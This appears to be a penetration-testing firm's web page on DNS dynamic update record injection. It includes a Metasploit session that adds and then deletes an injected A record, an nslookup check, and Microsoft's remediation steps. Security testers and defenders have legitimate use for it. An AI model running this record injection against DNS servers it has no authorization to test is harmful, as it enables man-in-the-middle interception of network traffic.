Home » DNS Server Dynamic Update Record Injection

Network Penetration Testing

DNS Server Dynamic Update Record Injection

our services

Dynamic DNS Updating allows clients to create and delete DNS records in a particular zone. In DHCP environments, this is useful so clients with changing IP addresses can update those addresses with the local DNS server.

DNS Server Dynamic Update Record Injection

A security risk arises when the DNS server does not restrict who can update these DNS records. A malicious actor on the network may attempt to modify records in an attempt to perform MITM attacks.

During a Network Penetration Test, dynamic DNS updates are tested to see if access controls are in place.

Pentesting Dynamic Record Updates

During a network penetration test, the following can be used to update a record, note that we do need to provide the domain for the zone we are testing:

msf6 > use admin/dns/dyn_dns_update
msf6 auxiliary(admin/dns/dyn_dns_update) > set ACTION ADD
msf6 auxiliary(admin/dns/dyn_dns_update) > set RHOST
msf6 auxiliary(admin/dns/dyn_dns_update) > set DOMAIN example.com
DOMAIN => example.com
msf6 auxiliary(admin/dns/dyn_dns_update) > set HOSTNAME my-test-hostname
HOSTNAME => my-test-hostname
msf6 auxiliary(admin/dns/dyn_dns_update) > set IP
IP =>
msf6 auxiliary(admin/dns/dyn_dns_update) > exploit

[+] Did not find an existing A record for my-test-hostname.example.com
[*] Sending dynamic DNS add message...
[+] The record 'my-test-hostname.example.com =>' has been added!
[*] Auxiliary module execution completed

As a proof of concept we can now query the DNS server to confirm the record has been added:

~$ nslookup
> server
Default server:
> my-test-hostname.example.com

Name:   my-test-hostname.example.com

If we need to clean up our record, we can run the following:

msf6 auxiliary(admin/dns/dyn_dns_update) > set ACTION DELETE
msf6 auxiliary(admin/dns/dyn_dns_update) > run

[+] Found existing A record for my-test-hostname.example.com
[*] Sending dynamic DNS delete message...
[+] The record 'my-test-hostname.example.com =>' has been deleted!
[*] Auxiliary module execution completed

Penetration testers should also be aware that authorization can be granted by IP address, so if your testing origin is performed from a privileged network it may lead to false positives. This scenario is only likely where the DNS server is using software such as BIND, whereas Microsoft DNS authentication is performed by Active Directory.

Remediation of Dynamic Record Injection

Microsoft has provided the following recommendation for securing dynamic DNS updates. This includes:

  1. Configure the DNS updates to Secure Only.
  2. Enable the Name Protection feature on the DHCP server.
  3. Authorize the DHCP server via the DNSUpdateProxy AD group to perform these updates.

The complete instruction steps can be found here: https://social.technet.microsoft.com/wiki/contents/articles/21984.how-to-secure-dns-updates-on-microsoft-dns-servers.aspx

  • Application
  • Network
  • Mobile
  • AWS